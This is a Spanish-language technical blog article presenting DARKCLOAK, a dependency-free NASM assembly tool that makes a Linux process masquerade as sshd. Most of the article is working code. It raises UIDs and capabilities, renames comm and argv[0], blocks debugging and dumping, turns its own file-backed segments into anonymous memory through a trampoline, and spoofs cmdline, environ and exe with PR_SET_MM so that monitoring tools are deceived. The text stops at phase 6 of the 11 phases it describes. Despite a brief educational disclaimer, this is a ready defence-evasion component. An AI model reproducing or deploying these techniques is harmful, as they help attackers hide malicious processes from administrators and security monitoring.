Saltar a contenido

DARKCLOAK: Novel Flow for Process Masquerading

Suplantación de identidad en procesos Linux desde userspace, sin dependencias.


Uso responsable

El contenido de este sitio web se publica exclusivamente con fines educativos e informativos. El autor no promueve, respalda ni se hace responsable del uso indebido o ilegal de la información aquí expuesta. Cualquier acción realizada a partir de este contenido debe llevarse a cabo únicamente en entornos controlados, sistemas propios o con autorización expresa y verificable del propietario del sistema.

Introducción

Los tres artículos anteriores de esta serie cubren, por separado, los subsistemas del kernel que intervienen en la identidad de un proceso: el modelo de credenciales (UIDs, GIDs, capabilities y sus transiciones), el formato ELF y el auxiliary vector (cómo el kernel carga un binario y qué construye en el espacio de direcciones) y las fuentes de identidad visible del proceso (qué expone el kernel y cómo se manipula desde userspace).

Este artículo unifica los tres anteriores en un caso práctico totalmente funcional. DARKCLOAK encadena la manipulación de todas las fuentes consultables desde userspace en un pipeline secuencial de 11 fases, transformando progresivamente la identidad visible del proceso hasta hacerlo indistinguible del proceso suplantado para las herramientas de monitorización y análisis.

El código fuente está disponible aquí.

Contribución

Hasta donde llega nuestro conocimiento, ninguna herramienta publicada combina la manipulación simultánea de todas las fuentes de identidad visible desde userspace.

Decisiones de Diseño

DARKCLOAK está escrito en NASM x86-64, compilado con nasm -f elf64 y enlazado con ld sin libc. El binario resultante es un ELF estático con tres segmentos PT_LOAD: el segmento 00 contiene las cabeceras ELF y la Program Header Table (PHT), el segmento 01 contiene las instrucciones ejecutables y el segmento 02 almacena los datos globales inicializados y no inicializados.

file darkcloak

readelf -hl darkcloak

Esto es sumamente importante, ya que el mapa de memoria del proceso en ejecución contendrá exclusivamente estos tres segmentos, el stack y el vDSO del kernel. Esto nos permitirá saber en todo momento qué VMAs debemos anonimizar y cómo debemos realizar los trampolines.

# Compilación
nasm -f elf64 darkcloak.asm -o darkcloak.o
ld darkcloak.o -o darkcloak
PT_LOAD 00  (headers + PHT, read-only)
PT_LOAD 01  (código ejecutable, read+execute)
PT_LOAD 02  (datos, read+write)
[stack]
[vDSO]

Datos de Suplantación

Los datos utilizados para la suplantación de identidad se definen en la sección .data y están establecidos originalmente para simular al servicio sshd. Para suplantar a otro proceso, bastaría con modificar estos datos.

segment .data

    mimic_name db 'sshd',0
    mimic_argv db './sshd',0
    mimic_exe db '/usr/sbin/sshd',0

    mimic_cmdline db '/usr/sbin/sshd',0,'-D',0,
                     '-oCiphers=aes256-gcm@openssh.com',0,
                     '-oMACs=hmac-sha2-256',0,
                     '-f',0,'/etc/ssh/sshd_config',0
    mimic_cmdline_length equ $ - mimic_cmdline

    mimic_environ db 'LANG=en_US.UTF-8',0,
                     'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',0,
                     'NOTIFY_SOCKET=/run/systemd/notify',0,
                     'INVOCATION_ID=a1b2c3d4e5f6',0
    mimic_environ_length equ $ - mimic_environ

La cmdline incluye argumentos realistas de sshd (-D, -oCiphers, -oMACs, -f), mientras que environ contiene variables de entorno propias de un servicio gestionado por systemd (como NOTIFY_SOCKET o INVOCATION_ID).

Estado Inicial

Si se inspecciona el proceso antes de aplicar los mecanismos de suplantación, todas las fuentes exponen la identidad real. El mapa de memoria referencia al binario cargado, las credenciales reflejan el estado con el que fue lanzado y las interfaces de observación basadas en procfs muestran la información original.

# Compilación
nasm -f elf64 darkcloak.asm -o darkcloak.o
ld darkcloak.o -o darkcloak
# Ejecución
./darkcloak &
PID=$!
# Comprobación del estado
cat /proc/$PID/comm
readlink /proc/$PID/exe
cat /proc/$PID/cmdline | tr '\0' ' '
cat /proc/$PID/environ | tr '\0' '\n' | head -3
cat /proc/$PID/maps | head -3
cat /proc/$PID/status | grep -E 'Uid|Cap|Gid'
ps aux | grep $PID

Estado inicial del proceso

Flujo de Ejecución

El pipeline está conformado por 11 fases en un orden estricto donde cada fase se adecua a los resultados producidos por las anteriores. Este orden no es una elección de implementación, sino que es definido por las dependencias que existen entre los subsistemas del kernel que se manipulan.

Flujo de ejecución de DARKCLOAK

La introspección ELF va primero porque los rangos de los segmentos se obtienen del auxiliary vector en el stack (cubierto en el artículo 2), necesarios para la anonimización de las VMAs en la fase 5. La escalada de UIDs precede a la de capabilities porque EUID=0 maximiza el permitted set. La escalada de capabilities precede al spoofing porque PR_SET_MM requiere CAP_SYS_RESOURCE. La retención de capabilities precede a la degradación de UIDs porque sin ella, el UID fixup del kernel modificaría los capability sets (como se explicó en el artículo 1). Los namespaces van al final porque CLONE_NEWUSER crea un contexto de capabilities independiente.

Recorrido paso a paso

Fase 1: Introspección ELF

En primer lugar, es necesario averiguar los rangos de memoria de los propios segmentos antes de poder realizar la anonimización de las VMAs. Esta información está disponible en el auxiliary vector, ubicado en el stack.

[ parte alta del stack ]
+----------------------------------+
| cadenas de argv, envp, filename  |  bytes terminados en NULL
+----------------------------------+
| padding de alineamiento (16 B)   |
+----------------------------------+
| AT_NULL  (0x00, 0x00)            |  16 bytes NULL: terminador del auxv
| ...                              |
| AT_ENTRY (0x09, dirección)       |  16 bytes por entrada
| AT_PHNUM (0x05, valor)           |
| AT_PHENT (0x04, valor)           |
| AT_PHDR  (0x03, dirección)       |  inicio del auxv (auxiliary vector)
+----------------------------------+
| NULL                             |  8 bytes NULL: terminador de envp[]
| envp[n-1]  (puntero)             |
| ...                              |
| envp[0]    (puntero)             |
+----------------------------------+
| NULL                             |  8 bytes NULL: terminador de argv[]
| argv[argc-1] (puntero)           |
| ...                              |
| argv[0]      (puntero)           |
+----------------------------------+
| argc                             |  8 bytes (unsigned long)
+----------------------------------+
↑ RSP apunta aquí en el entry point

AT_PHDR indica dónde está la Program Header Table en memoria, AT_PHENT el tamaño de cada entrada y AT_PHNUM cuántas entradas hay.

; El siguiente fragmento recorre el stack hasta el auxiliary vector
; obteniendo AT_PHDR, AT_PHENT y AT_PHNUM, que son los tres valores
; necesarios para iterar la PHT sin leer /proc/self/maps.

; .bss

    phdr_value resq 1     ; buffer para almacenar la dirección virtual de la PHT
    phent_value resq 1    ; buffer para almacenar de tamaño en bytes de cada entrada Elf64_Phdr
    phnum_value resq 1    ; buffer para almacenar el número total de entradas en la PHT

; .text

_start:
    mov r15, rsp
    add r15, 8              ; saltar argc (8 bytes)

argv_loop:
    cmp qword [r15], 0      ; iterar hasta el NULL terminador de argv[]
    je envp_loop
    add r15, 8
    jmp argv_loop

envp_loop:
    add r15, 8              ; saltar NULL terminador de argv[]
    cmp qword [r15], 0      ; iterar hasta NULL terminador de envp[]
    jne envp_loop
    add r15, 8              ; saltar NULL terminador de envp[]
                            ; r15 apunta ahora al primer par {a_type, a_val} del auxv

auxv_loop:
    mov r13, [r15]          ; clave (a_type)
    add r15, 8
    mov r14, [r15]          ; valor (a_val)
    add r15, 8
    cmp qword [r15], 0      ; AT_NULL (a_type=0) = fin del auxv
    jne auxv_par
    jmp pht_entry

auxv_par:
    cmp r13, 3              ; AT_PHDR
    je phdr_entry
    cmp r13, 4              ; AT_PHENT
    je phent_entry
    cmp r13, 5              ; AT_PHNUM
    je phnum_entry
    jmp auxv_loop

phdr_entry:
    mov [rel phdr_value], r14  ; guardamos la dirección base de la PHT
    jmp auxv_loop
phent_entry:
    mov [rel phent_value], r14  ; guardamos el tamaño de cada Elf64_Phdr
    jmp auxv_loop
phnum_entry:
    mov [rel phnum_value], r14  ; guardamos el número de entradas de la PHT
    jmp auxv_loop  

En posesión de los tres valores del auxv (AT_PHDR, AT_PHENT y AT_PHNUM), se itera la PHT y se clasifica cada PT_LOAD en función de sus permisos. Para cada segmento, se calcula la dirección de fin alineada al siguiente múltiplo de p_align usando la fórmula de round-up:

; Una vez obtenidos AT_PHDR, AT_PHENT y AT_PHNUM del auxv,
; se itera la PHT entrada a entrada. Cada entrada PT_LOAD se
; clasifica por sus flags para extraer el rango de direcciones
; virtuales de los tres segmentos del binario.

; .bss

elf64_phdr:        ; buffer temporal donde se copia cada entrada Elf64_Phdr
    p_type resd 1
    p_flags resd 1
    p_offset resq 1
    p_vaddr resq 1
    p_paddr resq 1
    p_filesz resq 1
    p_memsz resq 1
    p_align resq 1

tmp_bss:                                 
    headers_segment_privs resd 1   ; buffer para almacenar los permisos del segmento
    headers_segment_start resq 1   ; buffer para almacenar la dirección virtual de inicio del segmento (p_vaddr)
    headers_segment_end resq 1     ; buffer para almacenar la dirección virtual dirección virtual de fin alineada a p_align

; .text

pht_entry:
    cmp qword [rel phnum_value], 0
    je mime                      ; si phnum_value llega a 0, hemos procesado todos los PT_LOAD
    mov rsi, [rel phdr_value]    ; rsi = base de la PHT en memoria
    lea rdi, [rel elf64_phdr]    ; rdi = buffer local destino
    mov rcx, [rel phent_value]   ; rcx = bytes a copiar (tamaño de Elf64_Phdr)
    mov rax, [rel phent_value]    
    ; calculamos la dirección de la entrada de la PHT
    ;   &phdr[r15] = phdr_value + (phent_value * r15)
    imul rax, r15 
    add rsi, rax                  
    cld
    rep movsb                   ; copiamos la entrada en el buffer local elf64_phdr
    dec qword [rel phnum_value] ; decrementamos el contador de entradas restantes
    inc r15                     ; avanzamos al índice de la siguiente entrada
    cmp dword [rel p_type], 1        ; PT_LOAD?
    jne pht_entry
    ; clasificamos el PT_LOAD por sus flags:
    ;   PF_R     (4) → cabeceras ELF + PHT    → PROT_READ (1)
    ;   PF_R|PF_W (6) → datos (.data, .bss)   → PROT_READ|PROT_WRITE (3)
    ;   PF_R|PF_X (5) → código (.text)        → PROT_READ|PROT_EXEC (5)
    call check_headers_segment
    call check_data_segment
    call check_text_segment
    jmp pht_entry


check_headers_segment:
    cmp dword [rel p_flags], 4       ; PF_R
    jne .skip
    mov r12, [rel p_vaddr]
    mov [rel headers_segment_start], r12
    add r12, [rel p_memsz]
    ; round up: (addr + (n - 1)) & ~(n - 1)
    mov r13, [rel p_align]
    dec r13                          ; n - 1
    add r12, r13                     ; addr + (n - 1)
    not r13                          ; ~(n - 1)
    and r12, r13                     ; alinear
    mov [rel headers_segment_end], r12
    mov dword [rel headers_segment_privs], 1  ; PROT_READ
.skip:
    ret

La misma lógica se repite para el segmento de datos (PF_R|PF_WPROT_READ|PROT_WRITE = 3) y el de código ejecutable (PF_R|PF_XPROT_READ|PROT_EXEC = 5).

Fase 2: Lectura de credenciales

Se leen los UIDs y GIDs actuales del proceso para decidir la rama de ejecución y permitir la restauración de los valores originales durante la desescalada.

    ; Se leen los tres UIDs y los tres GIDs del proceso

    ; .bss

        ruid_val resd 1   ; buffer para almacener el valor Real UID (4 bytes)
    euid_val resd 1   ; buffer para almacener el valor Effective UID  (4 bytes)
    suid_val resd 1   ; buffer para almacener el valor Save Set-User-ID  (4 bytes)

    rgid_val resd 1   ; buffer para almacener el valor Real GID (4 bytes)
    egid_val resd 1   ; buffer para almacener el valor Effective GID  (4 bytes)
    sgid_val resd 1   ; buffer para almacener el valor Saved Set-GID  (4 bytes)

    ; .text
        mov rax, 118                ; GETRESUID
    lea rdi, [rel ruid_val]
    lea rsi, [rel euid_val]
    lea rdx, [rel suid_val]
    syscall

    mov rax, 120                ; GETRESGID
    lea rdi, [rel rgid_val]
    lea rsi, [rel egid_val]
    lea rdx, [rel sgid_val]
    syscall

Fase 3: Escalada de UIDs

Si alguno de los tres UIDs (real, effective o saved) es 0, el proceso puede establecer en una única llamada al sistema todos a 0. Como consecuencia, el kernel pasa a considerar al proceso como privilegiado y durante el reajuste de credenciales (capability fixup), se establecerán todas las capabilities privilegiadas en los conjuntos permitted y effective.

; Si cualquiera de los tres UIDs es 0, el proceso puede invocar
; SETRESUID(0,0,0) para establecerlos todos a 0.

; .bss

      ruid_val resd 1   ; Valor de Real UID (4 bytes)
    euid_val resd 1   ; Valor de Effective UID  (4 bytes)
    suid_val resd 1   ; Valor de Save Set-User-ID  (4 bytes)

    rgid_val resd 1   ; Valor de Real GID (4 bytes)
    egid_val resd 1   ; Valor de Effective GID  (4 bytes)
    sgid_val resd 1   ; Valor de Saved Set-GID  (4 bytes)

; .text

        mov r12d, [rel ruid_val]
    cmp r12d, 0
    je user_escalation          ; RUID = 0 → escalar

    mov r13d, [rel euid_val]
    cmp r13d, 0
    je user_escalation          ; EUID = 0 → escalar

    mov r14d, [rel suid_val]
    cmp r14d, 0
    je user_escalation          ; SUID = 0 → escalar

    jmp caps_escalation         

user_escalation:
    mov rax, 117                ; SETRESUID
    xor rdi, rdi                ; RUID = 0
    xor rsi, rsi                ; EUID = 0
    xor rdx, rdx                ; SUID = 0
    syscall

Si ningún UID es 0, el proceso salta directamente a la fase de escalada de capabilities.

Fase 4: Escalada de capabilities

Es posible maximizar las capabilities del proceso copiando el contenido del permitted set al effective set y al inheritable set. En caso de tener EUID=0, partiremos de todas las capabilities privilegiadas en el effective set, pero igualmente se copiarán al resto de conjuntos. De este modo, durante la desescalada de privilegios futura podremos conservar las capabilities únicamente en el permitted set y activarlas posteriormente cuando sea necesario, sin mantenerlas habilitadas de forma permanente en el effective set.

; Se copia el permitted set al effective y al inheritable.

;   ┌──────────────────────────────────────┐
;   │ datap[0].effective   (caps  0-31)    │  offset  +0
;   │ datap[0].permitted   (caps  0-31)    │  offset  +4
;   │ datap[0].inheritable (caps  0-31)    │  offset  +8
;   ├──────────────────────────────────────┤
;   │ datap[1].effective   (caps 32-63)    │  offset +12
;   │ datap[1].permitted   (caps 32-63)    │  offset +16
;   │ datap[1].inheritable (caps 32-63)    │  offset +20
;   └──────────────────────────────────────┘
;                tal: 24 bytes


; .data

    ; struct __user_cap_header_struct
    hdrp:
        dd 0x20080522   ; _LINUX_CAPABILITY_VERSION_3
        dd 0            ; PID 0 = hilo actual

; .bss

    datap resb 24       ; dos __user_cap_data_struct contiguas (12 bytes cada una)

; .text

caps_escalation:
    ; CAPGET: leemos los tres conjuntos actuales
    mov rax, 125
    lea rdi, [rel hdrp]
    lea rsi, [rel datap]
    syscall

    ; copiamos permitted en effective e inheritable (parte baja, caps 0-31)
    mov r12d, [rel datap+4]     ; datap[0].permitted
    mov [rel datap], r12d       ; datap[0].effective   ← permitted
    mov [rel datap+8], r12d     ; datap[0].inheritable ← permitted
    ; copiamos permitted en effective e inheritable (parte alta, caps 32-63)
    mov r13d, [rel datap+16]    ; datap[1].permitted
    mov [rel datap+12], r13d    ; datap[1].effective   ← permitted
    mov [rel datap+20], r13d    ; datap[1].inheritable ← permitted

    ; CAPSET: aplicamos los cambios al proceso
    mov rax, 126
    lea rdi, [rel hdrp]
    lea rsi, [rel datap]
    syscall
       Antes de CAPSET:                Después de CAPSET:
  ┌─────────────────────────┐      ┌─────────────────────────┐
  │ effective   = 0x00...   │      │ effective   = permitted │
  │ permitted   = 0xa8...   │ ──▶  │ permitted   = 0xa8...   │  (sin cambio)
  │ inheritable = 0x00...   │      │ inheritable = permitted │
  └─────────────────────────┘      └─────────────────────────┘

La capability más importante para la fase de suplantación es CAP_SYS_RESOURCE (bit 24). Sin ella, todo el bloque de PR_SET_MM de la fase 5 se omite.

Fase 5: Spoofing de la identidad visible

La identidad visible de un proceso en Linux no reside en una única fuente modificable, sino que se encuentra distribuida entre múltiples estructuras internas del sistema. DARKCLOAK actúa sobre cada una de ellas mediante los mecanismos específicos que permiten su alteración.

Fase 5a: Cambio de comm

El campo comm de la estructura task_struct es un array de 16 bytes, compuesto por 15 caracteres útiles más el carácter de terminación (\0), que indica el nombre corto del proceso. Este campo es la fuente de /proc/PID/comm y es consultado por herramientas como ps o top, así como por todos los programas eBPF que usen bpf_get_current_comm. La modificación no requiere capabilities especiales.

    ; Modifica el campo comm del task_struct

    ; .data

      mimic_name db 'sshd',0

    ; .text

        mov rax, 157                ; PRCTL
    mov rdi, 15                 ; PR_SET_NAME
    lea rsi, [rel mimic_name]   ; puntero a la cadena de reemplazo ("sshd\0")
    xor rdx, rdx
    xor r10, r10
    xor r8, r8
    syscall

Los nombres entre corchetes ([kworker/0:1], [migration/0]) son por convención hilos del kernel. Un proceso en userspace puede adoptar uno de estos nombres para mimetizarse con procesos legítimos del sistema.

Fase 5b: Sobrescritura de argv[0]

El valor argv[0] es el primer elemento del array de argumentos que el proceso recibe al iniciarse. Por convención, contiene el nombre o ruta del ejecutable que lanzó el proceso. El kernel lo coloca en el stack durante execve, en la región de memoria comprendida entre arg_start y arg_end del mm_struct.

Suponiendo que el stack no haya sido modificado por el programa, sobrescribir el valor almacenado en argv[0] equivale a una escritura directa en una ubicación conocida dentro del espacio de direcciones del proceso, en concreto, a la dirección apuntada por el puntero ubicado en rsp+8.

[ parte alta del stack ]
+----------------------------------+
| cadenas de argv, envp, filename  |  bytes terminados en NULL
+----------------------------------+
| padding de alineamiento (16 B)   |
+----------------------------------+
| AT_NULL  (0x00, 0x00)            |  16 bytes NULL: terminador del auxv
| ...                              |
| AT_ENTRY (0x09, dirección)       |  16 bytes por entrada
| AT_PHNUM (0x05, valor)           |
| AT_PHENT (0x04, valor)           |
| AT_PHDR  (0x03, dirección)       |  inicio del auxv (auxiliary vector)
+----------------------------------+
| NULL                             |  8 bytes NULL: terminador de envp[]
| envp[n-1]  (puntero)             |
| ...                              |
| envp[0]    (puntero)             |
+----------------------------------+
| NULL                             |  8 bytes NULL: terminador de argv[]
| argv[argc-1] (puntero)           |
| ...                              |
| argv[0]      (puntero)           |
+----------------------------------+
| argc                             |  8 bytes (unsigned long)
+----------------------------------+
↑ RSP apunta aquí en el entry point
; Sobreescritura de argv[0]  

; .data

    mimic_argv db './sshd',0

;.text

    mov r12, [rsp+8]                   ; dirección de la cadena original argv[0] en el stack
    mov r13, [rel mimic_argv]          ; contenido de la cadena de reemplazo ("./sshd\0")
    mov [r12], r13                     ; se sobrescribe la cadena original con la de reemplazo

Sobrescribir argv[0] modifica lo que devuelve /proc/PID/cmdline, ya que este último se construye a partir de la misma región de memoria que contiene los argumentos del proceso (arg_start y arg_end).

Fase 5c: Desactivación de dumpable (Anti-Debugging y Anti-Dumping)

Con dumpable = 1 (valor por defecto), los ficheros /proc/PID/maps, /proc/PID/mem, /proc/PID/environ y /proc/PID/auxv son accesibles por el propietario del proceso. Establecerlo a 0 transfiere la propiedad de esos ficheros a root:root, bloqueando su lectura para cualquier proceso sin CAP_SYS_PTRACE en el effective set y hace que ptrace(PTRACE_ATTACH) desde un proceso con el mismo UID falle con EPERM.

 ; Se establecer el valor de dumpable a 0

 ;.text

    mov rax, 157                ; PRCTL
    mov rdi, 4                  ; PR_SET_DUMPABLE
    mov rsi, 0                  ; DUMPABLE = 0
    xor rdx, rdx
    xor r10, r10
    xor r8, r8
    syscall

Esta medida no altera la identidad visible del proceso, sino que dificulta de forma significativa la inspección por parte de terceros.

Fase 5d: Spoofing de cmdline, environ y exe

Las tres fuentes que quedan por manipular tienen origen en el mm_struct del proceso y se modifican a través de las operaciones PR_SET_MM_* de PRCTL. Aunque las tres se gestionan a través de la misma interfaz, el mecanismo de manipulación es distinto.

cmdline y environ se manipulan redirigiendo los punteros arg_start/arg_end y env_start/env_end a buffers controlados. exe, en cambio, no se lee desde un rango de direcciones del proceso, sino desde el campo exe_file del mm_struct, que contiene un puntero a un struct file del kernel. Su manipulación requiere pasar un file descriptor del binario objetivo para que el kernel reemplace la referencia en sus propias estructuras, de ahí el requisito de CAP_SYS_RESOURCE y el error EBUSY cuando quedan VMAs file-backed apuntando al ejecutable original.

Por tanto, antes de realizar las modificaciones, se debe verificar que CAP_SYS_RESOURCE (bit 24) esté presente en el effective set:

; Comprobación de la capability CAP_SYS_RESOURCE

; .bss

    datap resb 24   ; dos __user_cap_data_struct contiguas (12 bytes cada una)

; .text

    mov r14d, [rel datap]       ; datap[0].effective (caps 0-31)
    bt r14d, 24                 ; test CAP_SYS_RESOURCE (bit 24) en el effective set
    jnc caps_ret                ; si CAP_SYS_RESOURCE no está presente se omite todo el bloque PR_SET_MM

En caso de tener presente la capability, se deben anonimizar todas las VMAs file-backed.

Anonimización de VMAs mediante trampoline

Dado que el segmento .text contiene el código ejecutable y el RIP apunta a instrucciones dentro de él, desmapearlo en caliente provocaría un segmentation fault inmediato. La solución es construir un trampoline: una página de memoria anónima temporal desde la que ejecutar todo el proceso de anonimización.

; Construcción y salto al trampoline para la anonimización

; .bss

    tmp_mm_addr resq 1   ; buffer donde almacenar la dirección de inicio de la página temporal

tmp_bss:
    headers_segment_privs resd 1  ; PROT_READ (1)
    headers_segment_start resq 1  ; dirección virtual de inicio del segmento de cabeceras + PHT
    headers_segment_end resq 1    ; dirección virtual de fin del segmento de cabeceras + PHT
    data_segment_privs resd 1     ; PROT_READ | PROT_WRITE (3)
    data_segment_start resq 1     ; dirección virtual de inicio del segmento de datos
    data_segment_end resq 1       ; dirección virtual de fin del segmento de datos
    text_segment_privs resd 1     ; PROT_READ | PROT_EXEC (5)
    text_segment_start resq 1     ; dirección virtual de inicio del segmento de código
    text_segment_end resq 1       ; dirección virtual de fin del segmento de código
    return_addr resq 1            ; destino del salto tras completar la anonimización
tmp_bss_len equ $ - tmp_bss

; .text

tmp_mm:

    ; reservar una página anónima temporal con permisos RW
    mov rax, 9                  ; MMAP
    xor rdi, rdi                ; kernel elige dirección base
    mov rsi, 4096               ; una página (4096 bytes)
    mov rdx, 0x3                ; PROT_READ | PROT_WRITE
    mov r10, 0x22               ; MAP_PRIVATE | MAP_ANONYMOUS
    mov r8, -1                  ; fd = -1 (anónima)
    xor r9, r9                  
    syscall
    mov rbx, rax                ; rbx = dirección base de la página temporal
    mov [rel tmp_mm_addr], rax  

    ; copiar el código de anonimización (mm_start → mm_end) a la página temporal
    lea rsi, [rel mm_start]
    mov rdi, rbx
    mov rcx, mm_end - mm_start
    cld
    rep movsb

    ; almacenar la dirección de retorno (un_tmp_mm) al final de la página
    lea r12, [rel un_tmp_mm]
    mov [rel return_addr], r12

    ; copiar tmp_bss (rangos y permisos de los segmentos) al final de la página
    mov r12, rbx
    add r12, 4096
    sub r12, tmp_bss_len       
    lea rsi, [rel tmp_bss]
    mov rdi, r12
    mov rcx, tmp_bss_len
    cld
    rep movsb

    ; establecer la página como R-X
    mov rax, 10                 ; MPROTECT
    mov rdi, rbx
    mov rsi, 4096
    mov rdx, 0x5                ; PROT_READ | PROT_EXEC
    syscall

    ; saltar a la página temporal
    jmp rbx

El código dentro de la página temporal (mm_startmm_end) itera los tres segmentos y para cada uno invoca a la función mm:

; Anonimización de los tres segmentos PT_LOAD desde la página temporal

; .text

mm_start:

    ; cada bloque lee permisos, dirección de inicio/fin y llama a la función mm
    ; r12 apunta al inicio de tmp_bss copiado al final de la página temporal

    ; segmento de cabeceras + PHT
    mov r13d, [r12]             ; permisos del segmento
    add r12, 4
    mov r14, [r12]              ; dirección virtual de inicio
    add r12, 8
    mov r15, [r12]              ; dirección virtual de fin
    add r12, 8
    call mm

    ; segmento de datos 
    mov r13d, [r12]
    add r12, 4
    mov r14, [r12]
    add r12, 8
    mov r15, [r12]
    add r12, 8
    call mm

    ; segmento de código 
    mov r13d, [r12]
    add r12, 4
    mov r14, [r12]
    add r12, 8
    mov r15, [r12]
    add r12, 8
    call mm

    ; los tres segmentos son ahora VMAs anónimas sin referencia al binario en disco
    jmp [r12]     ; saltamos a dirección de retorno dentro del .text anonimizado         

La función mm ejecuta la secuencia de anonimización para un segmento concreto:

; Anonimización de un segmento PT_LOAD

; Entrada:
;   r13d = permisos del segmento (1=PROT_READ, 3=PROT_READ|PROT_WRITE, 5=PROT_READ|PROT_EXEC)
;   r14  = dirección virtual de inicio del segmento
;   r15  = dirección virtual del fin del segmento

; .text
mm:
    sub r15, r14                ; r15 = tamaño del segmento en bytes

    ; reservar una región anónima del mismo tamaño
    mov rax, 9                  ; MMAP
    xor rdi, rdi                ; kernel elige dirección base
    mov rsi, r15                ; tamaño = tamaño del segmento
    mov rdx, 0x3                ; PROT_READ | PROT_WRITE
    mov r10, 0x22               ; MAP_PRIVATE | MAP_ANONYMOUS
    mov r8, -1                  ; fd = -1 (anónima)
    xor r9, r9
    syscall
    mov rbx, rax             

    ; copiar el contenido del segmento original a la región anónima
    mov rsi, r14                ; origen = dirección de inicio del segmento original
    mov rdi, rbx                ; destino = dirección de inicio de la región anónima recién reservada
    mov rcx, r15                ; número de bytes a copiar desde el origen
    cld
    rep movsb

    ; desmapear el segmento original (file-backed)
    mov rax, 11                 ; MUNMAP
    mov rdi, r14                ; dirección de inicio del segmento original
    mov rsi, r15
    syscall

    ; reubicar la región anónima en el rango del segmento original ya desmapeado
    mov rax, 25                 ; MREMAP
    mov rdi, rbx                ; origen = dirección de inicio de la región anónima
    mov rsi, r15
    mov rdx, r15
    mov r10, 0x3                ; MREMAP_MAYMOVE | MREMAP_FIXED
    mov r8, r14                 ; destino = dirección de inicio original del segmento
    syscall

    ; restaurar los permisos originales del segmento
    mov rax, 10                 ; MPROTECT
    mov rdi, r14
    mov rsi, r15
    movzx rdx, r13d             ; permisos originales del segmento
    syscall

    ret
mm_end:

Tras cumplir su función, la página temporal se desmapea:

; Eliminación de la página temporal

; .bss

    tmp_mm_addr resq 1   ; dirección de inicio de la página temporal

; .text

un_tmp_mm:
    mov rax, 11                 ; MUNMAP
    mov rdi, [rel tmp_mm_addr]  ; dirección de inicio de la página temporal
    mov rsi, 4096
    syscall

La secuencia de anonimización completa es la siguiente:

Paso Ubicación de RIP Resultado
0 .text 3 VMAs file-backed.
1 .text Se reserva una página temporal anónima. 3 VMAs file-backed + 1 VMA anónima.
2 .text El código y los datos auxiliares se copian a la nueva VMA.
3 .text Se establece el permiso de ejecución sobre la página temporal.
4 Página temporal Salto al comienzo de la nueva VMA. RIP abandona el .text inicial.
5 Página temporal Segmento de cabeceras ELF y PHT convertido a memoria anónima.
6 Página temporal Segmento de datos convertido a memoria anónima.
7 Página temporal Segmento de código convertido a memoria anónima.
8 .text anonimizado Se retorna el flujo de ejecución al .text ya anonimizado. 4 VMAs anónimas.
9 .text anonimizado El trampolín temporal es eliminado. 3 VMAs anónimas.

Con todas las VMAs originales ya anonimizadas, se ejecutan las operaciones PR_SET_MM_*:

; Spoofing de cmdline, environ y exe mediante PR_SET_MM

; .data

    mimic_cmdline db '/usr/sbin/sshd',0,'-D',0,'-oCiphers=aes256-gcm@openssh.com',0,'-oMACs=hmac-sha2-256',0,'-f',0,'/etc/ssh/sshd_config',0
    mimic_cmdline_length equ $ - mimic_cmdline
    mimic_environ db 'LANG=en_US.UTF-8',0,'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',0,'NOTIFY_SOCKET=/run/systemd/notify',0,'INVOCATION_ID=a1b2c3d4e5f6',0
    mimic_environ_length equ $ - mimic_environ
    mimic_exe db '/usr/sbin/sshd',0

; .text

mm_spoof:

    ; modificar arg_start y arg_end para que apunten a mimic_cmdline
    mov rax, 157
    mov rdi, 35                 ; PR_SET_MM
    mov rsi, 8                  ; PR_SET_MM_ARG_START
    lea rdx, [rel mimic_cmdline]
    xor r10, r10
    xor r8, r8
    syscall

    mov rax, 157
    mov rdi, 35
    mov rsi, 9                  ; PR_SET_MM_ARG_END
    lea rdx, [rel mimic_cmdline + mimic_cmdline_length]
    xor r10, r10
    xor r8, r8
    syscall

    ; modificar env_start y env_end para que apunten a mimic_environ
    mov rax, 157
    mov rdi, 35
    mov rsi, 10                 ; PR_SET_MM_ENV_START
    lea rdx, [rel mimic_environ]
    xor r10, r10
    xor r8, r8
    syscall

    mov rax, 157
    mov rdi, 35
    mov rsi, 11                 ; PR_SET_MM_ENV_END
    lea rdx, [rel mimic_environ + mimic_environ_length]
    xor r10, r10
    xor r8, r8
    syscall

    ; reemplazar el campo exe_file del mm_struct
    mov rax, 257                ; OPENAT
    mov rdi, -100               ; AT_FDCWD
    lea rsi, [rel mimic_exe]    ; ruta del ejecutable a abrir ("/usr/sbin/sshd")
    xor rdx, rdx                ; O_RDONLY
    xor r10, r10
    syscall
    mov r14, rax                ; r14 = FD del binario abierto

    mov rax, 157
    mov rdi, 35                 ; PR_SET_MM
    mov rsi, 13                 ; PR_SET_MM_EXE_FILE
    mov rdx, r14                ; FD del binario abierto, el kernel extrae el struct file asociado al FD y lo asigna al exe_file
    xor r10, r10
    xor r8, r8
    syscall

Por defecto, argv[0] y cmdline hacen referencia a la misma región de memoria. La llamada PR_SET_MM_ARG_START/ARG_END desacopla ambas fuentes: cmdline pasa a leer desde mimic_cmdline en .data, mientras que argv[0] en el stack queda modificado de forma independiente. Un analista que inspeccione directamente el stack observará el nombre alterado, en consonancia con el valor expuesto a través de cmdline.

Fase 6: Retención de capabilities

Antes de degradar los UIDs, se realiza la retención de capabilities para que el UID fixup del kernel no modifique los capability sets en nuestro perjuicio.

En función de si el proceso dispone o no de la capability CAP_SETPCAP (bit 8), se selecciona el mecanismo de retención más conveniente:

; Retención de capabilities

; .bss

    datap resb 24   ; dos __user_cap_data_struct contiguas (12 bytes cada una)

; .text

caps_ret:

        ; comprobamos si tenemos la capability CAP_SETPCAP en el effective set
    xor r14, r14
    mov r14d, [rel datap]       ; datap[0].effective (caps 0-31)
    bt r14d, 8                  
    jc setpcap_effective        ; CF=1 → CAP_SETPCAP disponible

    ; sin CAP_SETPCAP, usamos PR_SET_KEEPCAPS
    mov rax, 157
    mov rdi, 8                  ; PR_SET_KEEPCAPS
    mov rsi, 1
    xor rdx, rdx
    xor r10, r10
    xor r8, r8
    syscall
    jmp user_degrade

setpcap_effective:

    ; con CAP_SETPCAP, usamos PR_SET_SECUREBITS 
    mov rax, 157
    mov rdi, 28                 ; PR_SET_SECUREBITS
    mov rsi, 12                 ; SECBIT_NO_SETUID_FIXUP | SECBIT_NO_SETUID_FIXUP_LOCKED
    xor rdx, rdx
    xor r10, r10
    xor r8, r8
    syscall

Con PR_SET_SECUREBITS, los tres capability sets sobreviven intactos a la degradación de UIDs. Con PR_SET_KEEPCAPS, solo el permitted set se mantiene intacto.

